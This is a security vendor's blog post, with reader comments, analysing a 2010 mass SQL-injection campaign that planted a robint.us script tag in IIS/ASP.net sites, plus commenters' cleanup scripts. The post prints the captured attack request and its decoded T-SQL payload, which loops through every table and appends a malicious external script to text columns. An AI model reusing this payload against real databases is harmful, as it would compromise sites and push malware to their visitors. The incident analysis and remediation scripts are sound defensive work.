Mass infection of IIS/ASP sites – robint.us

An incredibly large number of sites have been hacked in the last day with a malware script pointing to https://ww.robint.us/u.js. Not only small sites, but some big ones got hit as well:

https://www.intljobs.org (still hacked)
https://www.servicewomen.org (still hacked)
https://online.wsj.com (partially fixed)
https://www.asbmb.org
https://www.lotl.com
https://acsi.org/
https://www.cinemathequeontario.ca
https://www.plazakvinna.com
https://www.delawareriverkeeper.org/
https://www.traveldaily.co.uk
https://www.thepaddockarea.com
https://www.ex-designz.net
https://www.historyasia.com/
https://www.montrealmetropolis.ca
https://www.charlottelive.org
https://www.cebes.org.br

How many sites got infected? According to Google over *114.000 different pages have been infected. Wow!

Update 09/06/10 – not 1,000,000+ like we originally reported, sorry – bad google-fu.

Google search

What do all these sites have in common? They are all hosted on IIS servers and using ASP.net. This is the output of our scanner against www.intljobs.org:

Sucuri scanner

This is the same attack reported by Sophos yesterday that hacked the Jerusalem Post.

Update 09/06/10 – Dale Neufeld from NSM Junkie was able to collect logs and packet dump from the attack. This is what he found:

Original web request (payload truncated for readability):

2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100×200′;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076……..
6F523B2D2D%20eXEc(@s)– 80 – 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) – – www.website.com 200 0 0 32068 1685 0

When we pull this apart we have:

dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076……..6F523B2D2D
eXEc(@s)–

So they’re essentially setting up the varaible ‘@s’ and executing it. Next we decode the variable ‘@s’:

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe [‘+@t+’] sEt [‘+@c+’]=rtrim(convert(varchar(8000),[‘+@c+’]))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696
E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where [‘+@c+’] not like ”%robint%”’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;–

Now they’re iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.

cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732
F752E6A733E3C2F7363726970743E

Decoded:

0x<script src=hxxp://ww.robint.us/u.js></script>

So it looks like a SQL injection attack against a third party ad management script. If you have more information, please share with us.

If your site is hacked (or contains malware), and you need help, send us an email at support@sucuri.net or visit our site: Sucuri Security. We can get your sites clean up right away.

Also, consider checking out our site security monitoring. We will monitor your sites 24×7 and alert you if it ever gets infected with malware, hacked or blacklisted.

59 comments
  1. My WordPress hosted site (running most recent version) just got hacked for the 4th time this year. GoDaddy hosting… looks like another round of attacks are starting… WATCH OUT!

    Just ran the cleanup script…

    1. Whilst I agree that the "1,260,000 infected pages" claim in this item is waaay overstated (the same Google search now "only" says ~110,000 results for me), your may be a lowball…

      Some injected pages do NOT have an injection in the TITLE tag, so an "intitle" search may be just as bad as the original author's "plain text" search. Google search does not respect apparent URI searches as if they are "all one phrase" searches. Generally, the best search for such things where the injected text will likely show up in various places all over the page, only some of which will be seen as syntactically correct SCRIPT tags is to search for the URI string as a quoted phrase.

      Doing that, now, I see about 8200 results (though that could be a serious overestimate given Google's notorious inability to accurately count (like, within an order of magnitude) and its typical grossly overestimated initial results count. In fact, I can't get Google to show me results past 765, though it does say at that point that there are "omitted results" but clicking that option puts me in a cycle leading back to "765 results with omissions"…

  2. My site/blog was infected not less than 30 minutes ago! Noticed the admin page of our wordpress blog go all crazy while updating a post. Fourth time for me as well this year with public hosting at Godaddy. This is getting pretty crazy. I changed my passwords for my hosting, wordpress keys, and my sql last attack. Don't know what else I can do or where the attack came from? Luckily, I had the wordpress-fix.php script still installed and it cleaned up the blog (thanks sucuri!).

    1. Might I suggest a very public statement saying you are switching from GoDaddy to another provider due to the number of attacks and the lack of response or ethics from GoDaddy and its employees.

      1. "Might I suggest a very public statement saying you are switching from *MicroSoft* to another provider due to the number of attacks and the lack of response or ethics from *MicroSoft* and its employees."

  3. Was curious if they might have changed the domain, so i searched on this strings and found a few more

    “u.js>”

  4. It’s no where near 1 million+ you need to put quotes around the search string then you will get more accurately filtered results. It’s more like 5000+ sites. The first result number google throws at you is an educated guess. Keep clicking the next result page and the results number will get more accurate. It’s not the apocalypse Sucuri Security is going on about… it’s more like an Ad pitch to buy their services…

  5. other site that appears to be used is wDOTrobintsDOTus the script is called us.js
    "src=http://robint_us…" currently 6700 hits on google
    src=http://robints_us…" returns 25.200 hits

  6. Last night I wrote the following script to cleanup a database from a website that I inherited. It works, no comments about structure/code efficiency please (SQL Server 2005 test):


    DECLARE @TableName Varchar(100);
    DECLARE @ColName Varchar(100);
    DECLARE @OutStr AS Varchar(3000);
    DECLARE @str VARCHAR(255);
    DECLARE @ColCnt Int;
    SET @str = '<script src =http://ww.robint.us/u.js></script>';

    DECLARE MY_CURSOR Cursor
    For select DISTINCT NAME
    From sys.tables WHERE Type='U';

    Open MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @TableName;
    WHILE @@FETCH_STATUS = 0
    BEGIN
    -- This is executed as long as the previous fetch succeeds.

    -- This is for VARCHARS ONLY
    DECLARE Col_Cur Cursor
    FOR SELECT COLUMN_NAME From INFORMATION_SCHEMA.COLUMNS
    WHERE Table_Name = @TableName and DATA_TYPE IN ('varchar')
    OPEN Col_Cur
    SET @OutStr ='UPDATE ' + @TableName + ' SET ' ;
    SET @ColCnt = 0;
    FETCH NEXT FROM Col_Cur INTO @ColName;

    WHILE @@FETCH_STATUS = 0
    BEGIN
    SET @OutStr = @OutStr + @ColName + '=REPLACE(' + @ColName + ',''' + @str + ''',''''),' ;
    SET @ColCnt = @ColCnt + 1;
    FETCH NEXT FROM Col_Cur INTO @ColName;
    END
    SET @OutStr = LEFT(@OutStr, LEN(@OutStr) - 1) + ';'
    IF @ColCnt > 0
    BEGIN
    PRINT @OutStr ;
    END
    CLOSE Col_Cur;
    DEALLOCATE Col_Cur;

    -- This is for TEXT Data Types ONLY
    -- UPDATE COMMENTS SET Comment=REPLACE(SUBSTRING(Comment, 1, DATALENGTH(Comment)), '<script src =http://ww.robint.us/u.js></script>', '')
    DECLARE Col_Cur Cursor
    FOR SELECT COLUMN_NAME From INFORMATION_SCHEMA.COLUMNS
    WHERE Table_Name = @TableName and DATA_TYPE IN ('text')
    OPEN Col_Cur
    SET @OutStr ='UPDATE ' + @TableName + ' SET ' ;
    SET @ColCnt = 0;
    FETCH NEXT FROM Col_Cur INTO @ColName;

    WHILE @@FETCH_STATUS = 0
    BEGIN
    SET @OutStr = @OutStr + @ColName + '=REPLACE(SUBSTRING(' + @ColName + ',1,DATALENGTH(' + @ColName + ')),''' + @str + ''',''''),' ;
    SET @ColCnt = @ColCnt + 1;
    FETCH NEXT FROM Col_Cur INTO @ColName;
    END
    SET @OutStr = LEFT(@OutStr, LEN(@OutStr) - 1) + ';'
    IF @ColCnt > 0
    BEGIN
    PRINT @OutStr ;
    END
    CLOSE Col_Cur;
    DEALLOCATE Col_Cur;

    FETCH NEXT FROM MY_CURSOR INTO @TableName;
    END

    CLOSE MY_CURSOR;
    DEALLOCATE MY_CURSOR;

    Enjoy!

  7. Over the past few days, I have picked up another payload coming from the following URL. hxxp://ww.robint.us/ad.html My IPS detects this as JavaScript NOOP Sled and JavaScript Shellcode. I have a capture of the code too. Not sure if this is part of the same attack, I have found compromised sites pointing back to the same host but a different link.

  8. This is old news. It's not ASP.net's or IIS's fault that the people who wrote these websites or CMSes don't know what they are doing. As a matter of fact, the out-of-the box configuration of ASP.net will specifically NOT ACCEPT requests with TSQL in the text.These people, not knowing what they are doing, probably disabled this protection in their ignorance because they couldn't get something in their poorly-written websiute to work.

    If someone buys a ford and then leaves the keys in the car and it is stolen, Is it Ford's fault?

    Same things happens with php websites on Apache all day long. In any case, it's still good to bring this to the public's attention, so hopefully the companies running these websites consider security in their designs.

    Also, if you run a serious website you should have an intrusion prevention system in place. Ohterwise, you're asking for trouble. There are simply too many ways to attack a web server, regardless of whether it's Microsoft, Linux, or whatever.

  9. I've been seeing variations of this hack over the last 2 years or so. It doesn't have to target a specific web ad platform, any injection vulnerability in a query-string parameter is fair game. The payload js script URL always changes from hack to hack, and I've seen variations on the ran upper/lower case characters in the query. SQL 2000/2005/2008 all seem to be vulnerable — it may not even be specific to IIS, I imagine any web application with a MS SQL back-end would work. It's especially bad if your application has 'sa' rights (or even db_owner) on your SQL server.

    The cleanup script posted here looks good. I had written one myself but keep in mind that data in fields that are text or ntext will not be fully recoverable. It will only clean varchar fields reliably. You'll need to go to those backups!

  10. Thanks to CantalopeHead for the script! I just used it on another malicious injection. I made a few updates to include nvarchar and ntext columns. I'll post separate due to length. Note the ntext fix will only work on SQL 2005 and later (it uses a CAST to leverage the new nvarchar(MAX) data type. When one has time, one should consider changing text fields to nvarchar(MAX) anyway.

    Hopefully I'll have some time soon to fix the root cause, but for now, at least I can clean up the damage.

    Oh, and to clarify, this generates the UPDATE statements, which you then copy,paste, and run to actually clean the database. When you are pissed about the fact that your db is hacked, you may not realize that at first in your moment of anger 😉

    1. Ok– so my script is 'too long to post'. Here is the NTEXT part to insert into CantalopeHeads script. I also adjusted the varchar to be nvarchar.

      — This is for NTEXT ONLY
      DECLARE Col_Cur Cursor
      FOR SELECT COLUMN_NAME From INFORMATION_SCHEMA.COLUMNS
      WHERE Table_Name = @TableName and DATA_TYPE IN ('ntext')
      OPEN Col_Cur
      SET @OutStr ='UPDATE ' + @TableName + ' SET ' ;
      SET @ColCnt = 0;
      FETCH NEXT FROM Col_Cur INTO @ColName;

      WHILE @@FETCH_STATUS = 0
      BEGIN
      SET @OutStr = @OutStr + @ColName + '=CAST(REPLACE(CAST(' + @ColName + ' AS nvarchar(max)),''' + @str + ''','''') AS ntext),' ;
      SET @ColCnt = @ColCnt + 1;
      FETCH NEXT FROM Col_Cur INTO @ColName;
      END
      SET @OutStr = LEFT(@OutStr, LEN(@OutStr) – 1) + ';'
      IF @ColCnt > 0
      BEGIN
      PRINT @OutStr ;
      END
      CLOSE Col_Cur;
      DEALLOCATE Col_Cur;

Comments are closed.

You May Also Like